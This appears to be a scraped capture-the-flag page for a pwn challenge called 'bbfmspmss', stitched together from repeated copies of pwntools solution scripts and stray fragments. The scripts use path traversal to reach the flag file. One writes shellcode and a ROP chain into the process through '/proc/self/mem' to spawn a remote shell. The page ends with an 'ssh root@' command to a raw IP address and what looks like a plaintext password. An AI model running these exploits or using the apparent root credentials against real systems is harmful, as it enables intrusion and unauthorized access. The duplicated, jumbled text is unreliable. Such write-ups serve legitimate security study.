Triacontakai
nc 0.cloud.chals.io 26780
Files:Tags: No tags.../flag.txt to the db#!/usr/bin/python3
from pwn import *
exe = ELF('bbfmspmss', checksec=False)
context.binary = exe
def create(name):
sla(b'> ', b'1')
sla(b'Name: ', name)
def delete(name):
sla(b'> ', b'2')
sla(b'Name: ', name)
def list_box():
sla(b'> ', b'3')
def deposit(name, slot, num, nickname):
sla(b'> ', b'4')
sla(b'Name: ', name)
sla(b'Slot: ', str(slot).encode())
sla(b'Number: ', str(num).encode())
sla(b'Nickname: ', nickname)
# def withdraw()
def quit():
sla(b'> ', b'6')
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
delete(b'../db/boxes.db')
create(b'../db/boxes.db')
deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt')
deposit(b'../db/boxes.db', 1, 0, b'\0')
quit()
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
list()
delete(b'../db/boxes.db')
p.interactive()../flag.txt in database#!/usr/bin/python3
from pwn import *
exe = ELF('bbfmspmss', checksec=False)
context.binary = exe
def create(name):
sla(b'> ', b'1')
sla(b'Name: ', name)
def delete(name):
sla(b'> ', b'2')
sla(b'Name: ', name)
def list_box():
sla(b'> ', b'3')
def deposit(name, slot, num, nickname):
sla(b'> ', b'4')
sla(b'Name: ', name)
sla(b'Slot: ', str(slot).encode())
sla(b'Number: ', str(num).encode())
sla(b'Nickname: ', nickname)
# def withdraw()
def quit():
sla(b'> ', b'6')
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
delete(b'../db/boxes.db')
create(b'../db/boxes.db')
deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt')
deposit(b'../db/boxes.db', 1, 0, b'\0')
quit()
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
list()
delete(b'../db/boxes.db')
p.interactive() println!("matter_manipulator.so: cannot open shared object file: No such file or directory");
Is this file used anywhere?p64(number-of-box) +
p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)] +
p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)] +
p64(len-of-box-name) + boxname + p64(len(slot)) + [p64(slot-number)]...#!/usr/bin/python3
from pwn import *
exe = ELF('bbfmspmss', checksec=False)
context.binary = exe
def create(name):
sla(b'> ', b'1')
sla(b'Name: ', name)
def delete(name):
sla(b'> ', b'2')
sla(b'Name: ', name)
def list_box():
sla(b'> ', b'3')
def deposit(name, slot, num, nickname):
sla(b'> ', b'4')
sla(b'Name: ', name)
sla(b'Slot: ', str(slot).encode())
sla(b'Number: ', str(num).encode())
sla(b'Nickname: ', nickname)
# def withdraw()
def quit():
sla(b'> ', b'6')
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
delete(b'../db/boxes.db')
create(b'../db/boxes.db')
deposit(b'../db/boxes.db', 0, 0x1, b'../flag.txt')
deposit(b'../db/boxes.db', 1, 0, b'\0')
quit()
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
list()
delete(b'../db/boxes.db')
p.interactive() from pwn import *
#r = process("bbfmspmss")
r = remote("0.cloud.chals.io", 26780)
def create(name):
r.sendlineafter("> ", b'1')
r.sendlineafter("Name: ", name)
def withdraw(name, slot):
r.sendlineafter("> ", b'5')
r.sendlineafter("Name: ", name)
r.sendlineafter("Slot: ", str(slot).encode())
def deposit(name, slot, number, nickname):
r.sendline(b'4')
r.sendline(name)
r.sendline(str(slot).encode())
r.sendline(str(number).encode())
r.sendlineafter("Nickname: ", nickname)
base = 0x550000000000
with log.progress("Base") as L:
while True:
deposit("../../proc/self/mem",base // 0x20,0,b'a');
data = r.recv(0x10)
if b'Failed' not in data:
break
base += 0x5c000
L.status(hex(base))
log.info(hex(base))
base -= 0x5c000
log.info(hex(base))
with log.progress("Base") as L:
while True:
deposit("../../proc/self/mem", base // 0x20, 0, b'a')
data = r.recv(0x10)
if b'Failed' not in data:
break
base += 0x1000
L.status(hex(base))
log.info(hex(base))
base1 = base + 0xe3a0
pop_rdi = base + 0x9106
deposit("../../proc/self/mem", (base + 0x7000) // 0x20, 1,
b"/bin/sh".ljust(16,b'\0'))
deposit("../../proc/self/mem", (base + 0x7020) // 0x20, 1,
b"\x6A\x00\x6A\x00\x5E\x5A\x6A\x3B\x58\x0F\x05")
deposit("../../proc/self/mem", base1 // 0x20, 1,
b"\x6A\x00\x6A\x00\x58\x5F\x54\x5E\x68\x00\x10\x00\x00\x5A\x0F\x05")
r.send(p64(pop_rdi) + p64(base + 0x7010) + p64(base + 0x7030))
r.interactive()ssh root@67.205.182.223
d6TecM5P88N*17uFuQTpNgtIz